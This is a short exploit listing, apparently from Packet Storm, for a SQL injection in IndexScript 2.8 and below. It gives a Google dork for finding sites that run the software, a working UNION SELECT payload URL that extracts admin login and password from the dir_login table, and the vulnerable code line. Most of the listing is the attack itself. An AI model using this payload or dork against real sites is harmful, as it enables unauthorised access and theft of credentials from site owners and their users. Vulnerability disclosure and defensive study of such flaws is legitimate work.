IndexScript versions 2.8 and below suffer from a SQL injection vulnerability in showcat.php.
1100602100f77adb05ad45735391639e49021305360d88d105d205e3ef2a46fcSite: http://indexscript.com
Found By: xssvgamer
Google Dork: allintext: "This site is powered by IndexScript"
exploit:
http://www.example.com/show_cat.php?cat_id=-1 UNION ALL SELECT login,password FROM dir_login /*
Blind SQL injection in indexscript..
Vul Code:
"$sql = "select name, meta_title, meta_description, meta_keywords from dir_cat where " .
"cat_id=" . fnpreparesql($_GET['cat_id']);"
© 2022 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed